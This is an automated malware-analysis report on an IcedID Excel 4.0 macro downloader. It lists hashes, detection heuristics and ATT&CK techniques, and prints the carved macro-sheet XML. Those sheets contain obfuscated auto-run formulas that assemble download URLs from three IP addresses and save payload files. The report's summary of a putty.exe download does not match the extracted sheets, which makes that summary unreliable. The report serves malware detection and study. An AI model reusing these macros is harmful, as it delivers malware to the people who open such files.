IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 2c67469d045c08f3…

MALICIOUS

Office (OOXML)

173.3 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-26
MD5: d49e1fcca45968f79df4c9ee50e00899 SHA-1: 6f6a79ac7d9110e002c94c15d3f106d3ff70efbe SHA-256: 2c67469d045c08f38f656796e8a1054dd00b8fe3fdf8670cdfafcf85089cdae3
250 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macro sheets with critical heuristic firings indicating the use of dangerous functions like FORMULA, GOTO, HALT, CALL, and REGISTER. These functions are used to download and execute a secondary payload, specifically 'putty.exe', from the URL 'http://the.earth.li/~sgtatham/putty/0.72/w32/putty.exe'. The ClamAV detection also confirms its malicious nature and identifies it as a downloader associated with the IcedID family.

Heuristics 6

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (6 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, GOTO, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 6 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1190 bytes
SHA-256: e26278d9df62929caddc39c2675d1a93c805965a35896b4c4240468b728373e2
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0000-000000000000}"><dimension ref="A1"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="2"/></cols><sheetData/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 3128 bytes
SHA-256: f7b39c263b9b39008014fcefc677b0ae5aba5a6b483dd012da21a29b0a6cf25c
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="C20:G35"/><sheetViews><sheetView showFormulas="1" topLeftCell="A4" workbookViewId="0"><selection activeCell="A4" sqref="A4"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.7109375" style="1"/></cols><sheetData><row r="20" spans="3:7" x14ac:dyDescent="0.25"><c r="F20" s="1" t="b"><f>FORMULA(Sheet000!P16&amp;Sheet000!P17,F27)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="3:7" x14ac:dyDescent="0.25"><c r="F23" s="1" t="str"><f>NOW()&amp;".dat"</f><v>44329,6550195602.dat</v></c></row><row r="25" spans="3:7" x14ac:dyDescent="0.25"><c r="C25" s="1" t="s"><v>4</v></c></row><row r="26" spans="3:7" x14ac:dyDescent="0.25"><c r="C26" s="1" t="s"><v>6</v></c></row><row r="27" spans="3:7" x14ac:dyDescent="0.25"><c r="C27" s="1" t="s"><v>5</v></c><c r="G27" s="1" t="str"><f>"htt"</f><v>htt</v></c></row><row r="28" spans="3:7" x14ac:dyDescent="0.25"><c r="C28" s="1" t="s"><v>16</v></c><c r="E28" s="1" t="str"><f>"185.45.192.218/"</f><v>185.45.192.218/</v></c><c r="F28" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E28&amp;F23,"..\lertio.cersw",0,0)</f><v>#NAME?</v></c><c r="G28" s="1" t="s"><v>12</v></c></row><row r="29" spans="3:7" x14ac:dyDescent="0.25"><c r="C29" s="1" t="s"><v>15</v></c><c r="E29" s="1" t="str"><f>"91.211.91.88/"</f><v>91.211.91.88/</v></c><c r="F29" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E29&amp;F23,"..\lertio.cersw1",0,0)</f><v>#NAME?</v></c></row><row r="30" spans="3:7" x14ac:dyDescent="0.25"><c r="C30" s="1" t="s"><v>1</v></c><c r="E30" s="1" t="str"><f>"103.155.92.113/"</f><v>103.155.92.113/</v></c><c r="F30" s="1" t="e"><f>JKKHYUGFD(0,G27&amp;G28&amp;E30&amp;F23,"..\lertio.cersw2",0,0)</f><v>#NAME?</v></c></row><row r="31" spans="3:7" x14ac:dyDescent="0.25"><c r="C31" s="1" t="s"><v>0</v></c><c r="E31" s="1" t="s"><v>7</v></c></row><row r="32" spans="3:7" x14ac:dyDescent="0.25"><c r="E32" s="1" t="s"><v>7</v></c></row><row r="33" spans="5:6" x14ac:dyDescent="0.25"><c r="E33" s="1" t="s"><v>7</v></c></row><row r="35" spans="5:6" x14ac:dyDescent="0.25"><c r="F35" s="1" t="e"><f>GOTO(Sheet2!H13)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 2298 bytes
SHA-256: 60860e3e942fc249672c3f297fa7f4b06db5f5d49d084784eafb2c3e4889ad39
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="H19:L31"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="8.140625" style="1"/><col min="8" max="9" width="8.140625" style="1" customWidth="1"/><col min="10" max="16384" width="8.140625" style="1"/></cols><sheetData><row r="19" spans="8:12" x14ac:dyDescent="0.25"><c r="H19" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J18&amp;Sheet000!J19,H25)=PI()=PI()=PI()</f><v>0</v></c><c r="J19" s="1" t="s"><v>4</v></c></row><row r="20" spans="8:12" x14ac:dyDescent="0.25"><c r="J20" s="1" t="s"><v>13</v></c></row><row r="21" spans="8:12" x14ac:dyDescent="0.25"><c r="J21" s="1" t="s"><v>14</v></c></row><row r="22" spans="8:12" x14ac:dyDescent="0.25"><c r="J22" s="1" t="s"><v>8</v></c><c r="K22" s="1" t="s"><v>11</v></c><c r="L22" s="1" t="s"><v>10</v></c></row><row r="23" spans="8:12" x14ac:dyDescent="0.25"><c r="J23" s="1" t="s"><v>9</v></c></row><row r="24" spans="8:12" x14ac:dyDescent="0.25"><c r="J24" s="1" t="s"><v>3</v></c></row><row r="25" spans="8:12" x14ac:dyDescent="0.25"><c r="J25" s="1" t="s"><v>2</v></c></row><row r="31" spans="8:12" x14ac:dyDescent="0.25"><c r="H31" s="1" t="e"><f>GOTO(Sheet3!G2)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 2025 bytes
SHA-256: f6023b616a33da16850bd04bca335ab61b8bf9717cbe0a8ef91527cea67ae7fd
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1155E9B9-B0CD-42F9-A966-3A754062B27E}"><dimension ref="G16:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="4" width="7.7109375" style="1"/><col min="5" max="5" width="8.85546875" style="1" customWidth="1"/><col min="6" max="6" width="8.42578125" style="1" customWidth="1"/><col min="7" max="7" width="10" style="1" customWidth="1"/><col min="8" max="8" width="8.7109375" style="1" customWidth="1"/><col min="9" max="9" width="7.7109375" style="1"/><col min="10" max="10" width="8.140625" style="1" customWidth="1"/><col min="11" max="11" width="7.7109375" style="1"/><col min="12" max="12" width="8.140625" style="1" customWidth="1"/><col min="13" max="16384" width="7.7109375" style="1"/></cols><sheetData><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J21&amp;Sheet000!J19,G19)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="e"><f>GOTO(Sheet4!G5)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1560 bytes
SHA-256: d60ca3a864e3f818e7a00f9aa3f6fdbc180e13ef9ef26c0d3de35bf633fcfa97
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{8D29E0F2-14A8-4D3C-A016-AA1287FA05D1}"><dimension ref="G16:G23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="8" style="1"/><col min="7" max="7" width="7.85546875" style="1" customWidth="1"/><col min="8" max="16384" width="8" style="1"/></cols><sheetData><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="1" t="b"><f>FORMULA(Sheet000!J17&amp;Sheet000!J22&amp;Sheet000!J19,G19)=PI()=PI()=PI()</f><v>0</v></c></row><row r="23" spans="7:7" x14ac:dyDescent="0.25"><c r="G23" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1821 bytes
SHA-256: dd9efeb7c324f68d06e9a7e99610df77ef935e2fc86a64fc3a473904f7bcfe45
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{65E179ED-D9FF-4EED-BC75-2D2CB5EF5CA2}"><dimension ref="A10:B15"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="A2" sqref="A2"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="8.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="9.140625" style="1" customWidth="1"/><col min="2" max="3" width="8.28515625" style="1"/><col min="4" max="4" width="9.5703125" style="1" customWidth="1"/><col min="5" max="5" width="10.42578125" style="1" customWidth="1"/><col min="6" max="16384" width="8.28515625" style="1"/></cols><sheetData><row r="10" spans="1:2" x14ac:dyDescent="0.25"><c r="A10" s="1" t="b"><f>ON.TIME(NOW()+"00:00:02",B10)</f><v>0</v></c><c r="B10" s="1" t="s"><v>17</v></c></row><row r="15" spans="1:2" x14ac:dyDescent="0.25"><c r="A15" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.